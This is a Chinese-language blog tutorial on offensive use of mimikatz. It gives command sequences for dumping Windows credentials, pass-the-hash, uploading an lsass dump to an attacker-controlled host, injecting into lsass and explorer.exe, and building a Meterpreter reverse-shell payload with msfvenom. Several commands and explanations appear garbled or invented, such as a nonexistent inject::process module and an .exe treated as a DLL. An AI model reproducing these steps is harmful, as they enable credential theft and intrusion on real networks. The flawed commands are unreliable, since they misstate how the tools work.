mimikatz 是一款用於 Windows 系統的免費開源密碼查看工具,它支持從散列密碼到明文密碼的轉換操作,同時還可抓取 Windows 口令、PIN 和憑證等。本篇文章將從多個角度介紹 mimikatz 的使用方法,包括基本用法、橫向滲透、提升權限、DLL 劫持以及 AV 防護繞過等內容。
一、基本用法
mimikatz 的基本操作主要包括三個命令,分別是 sekurlsa、lsadump 和 token。其中 sekurlsa 可以用於抓取當前系統登錄者的各種密碼,如明文密碼、NTLM hash、Kerberos TGT 等;lsadump 可以從本地 SAM 數據庫和遠程 SAM 數據庫等中提取 Windows 的密碼、憑證等信息;token 命令可用於模擬權限,將 mimikatz 的進程權限提升至系統級別,從而繞過一些限制,例如 VBS 腳本等。
1、使用 sekurlsa 命令抓取 Windows 登錄者密碼:
privilege::debug
sekurlsa::logonpasswords
2、使用 lsadump 命令提取 SAM 數據庫中的密碼:
lsadump::sam
lsadump::secrets
lsadump::cache
3、使用 token 命令提升權限:
token::elevate
token::whoami
二、橫向滲透
在攻擊中,mimikatz 還可以用於進行橫向滲透,進而獲取更多機器的權限。通過遠程執行 mimikatz 命令,我們可以利用被攻擊機器已經獲得的權限,嘗試獲取其他機器的口令和憑證。以下是基本使用方法:
1、在被攻擊機器上執行以下命令:
sekurlsa::pth /user:Administrator /domain:test.com /ntlm:f1cedbd432e8d3ea0c1c64a1ac4a9d1c /run:powershell.exe
其中,/user 參數指定管理員賬戶名稱,/domain 指定域名,/ntlm 是 hash 值,/run 參數指定要運行的程序。執行該命令後,會返回一個新的控制台。
2、在新控制台中,執行以下命令:
$password = ConvertTo-SecureString "P@ssw0rd" -AsPlainText -Force
$cred = new-object System.Management.Automation.PSCredential("test\user", $password)
Invoke-Command -ComputerName <IP> -Credential $cred -ScriptBlock { lsass::sekurlsa /full } | .\mimikatz.exe "sekurlsa::minidump lsass.dmp"
Invoke-WebRequest -URI 'http://<Attacker_IP>/lsass.dmp' -Method PUT -InFile lsass.dmp
其中,$password 表示指定的密碼,$cred 是強制指定的憑證對象,-ComputerName 是遠程機器的 IP 地址,lsass::sekurlsa /full 是執行的命令,Invoke-WebRequest 是訪問遠程地址的命令。執行該命令後,會將 lsass.dmp 文件上傳到攻擊機器上。
3、使用 mimikatz 分析 lsass.dmp 文件。攻擊者在自己的機器上執行以下命令:
sekurlsa::minidump /in:"<path_to>\lsass.dmp"
sekurlsa::logonpasswords
該命令會打印出 lsass 進程中存儲的所有憑證和口令。
三、提升權限
mimikatz 還可以通過提升權限來繞過賬戶限制,獲取更高的權限,從而執行敏感操作。常見的方法有 DLL 劫持和管道提權。
1、DLL 劫持攻擊。攻擊者需要尋找 DLL 容器、DLL 記錄表等方式,執行以下命令:
privilege::debug
inject::process /name:lsass.exe /path:C:\temp\mydll.dll
其中,/name 指定進程名,/path 指定要注入的 DLL 文件路徑。執行該命令後,攻擊者會成功注入 mydll.dll 文件。
2、管道提權。攻擊者可以通過提高自己或其他用戶的權限,獲取系統級別的權限。執行以下命令:
privilege::debug
lsadump::lsa /inject /name:<user_name> /password:<password>
其中,/inject 參數表示注入,/name 是賬戶名稱,/password 是密碼。執行該命令後,攻擊者可以成功獲取更高的權限。
四、AV 防護繞過
在攻擊中,mimikatz 還可以用於繞過防護軟件的檢測,例如使用 Meterpreter 的反彈 shell。攻擊者可以通過以下方式執行:
1、將 Meterpreter payload 複製到本地機器上:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f exe -o meterpreter.exe
2、使用 mimikatz 注入 Meterpreter 流量,執行以下命令:
privilege::debug
inject::process /name:explorer.exe /path:D:\meterpreter.exe
其中,/name 指定進程名,/path 指定要注入的 DLL 文件路徑。執行該命令後,攻擊者會成功注入 Meterpreter 流量,並攔截密碼。
總結
mimikatz 是一款功能強大的密碼查看工具,在 Windows 滲透和後滲透過程中起到了很好的作用。在使用過程中,需要特別注意安全防範,避免工具淪為犯罪工具,造成不必要的麻煩。
原創文章,作者:HLGXS,如若轉載,請註明出處:https://www.506064.com/zh-hk/n/333964.html